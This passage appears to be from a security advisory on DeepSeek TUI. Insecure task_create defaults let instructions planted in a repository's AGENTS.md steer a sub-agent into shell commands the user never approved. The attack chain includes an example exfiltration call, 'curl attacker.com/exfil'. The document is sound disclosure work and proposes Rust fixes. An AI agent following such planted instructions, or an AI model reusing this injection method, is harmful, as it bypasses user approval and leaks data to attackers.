DeepSeek TUI: task_create Insecure Defaults Enable RCE via Prompt Injection in Project Files

cd /tmp/poc-task-create
deepseek-tui

Step 3 — Create a task:

create a task with task_create: prompt="fix the TODOs in src/lib.rs and write a README.md"

The user sees an approval prompt for task creation — approve it. No allow_shell or auto_approve specified; both default to true.

Step 4 — Sub-agent executes attacker's payload:

The sub-agent reads AGENTS.md, follows the "documentation standard" instruction, and runs curl to the attacker's server. No approval prompt is shown.

Collaborator receives callback at /badge-gen?project=web-service, confirming RCE

Impact

A developer clones a malicious repository, opens it in DeepSeek-TUI, and asks for any task-based work (refactoring, documentation, bug fixing). The full attack chain:

1. User approves task_create which looks like "create a task to fix TODOs"
2. Sub-agent spawns with allow_shell=true + auto_approve=true (defaults)
3. Sub-agent reads AGENTS.md from its system prompt. This contains attacker-controlled instructions disguised as project conventions
4. Sub-agent follows the instructions and runs shell commands (e.g., curl attacker.com/exfil)
5. No approval prompt appears. The user only approved task creation, not shell execution

The user approved one thing (task creation) but implicitly granted unrestricted shell access to a sub-agent that follows attacker-controlled instructions. This crosses the approval security boundary.

Suggested Mitigation

1. Default allow_shell to false for durable tasks:

// config.rs:1499
pub fn allow_shell(&self) -> bool {
    self.allow_shell.unwrap_or(false)  // was: true
}

2. Default auto_approve to false for durable tasks:

// task_manager.rs:297
auto_approve: None,  // was: Some(true) inherit session setting

3. When the model requests task_create with allow_shell=true, surface that in the approval prompt so the user knows they're granting shell access.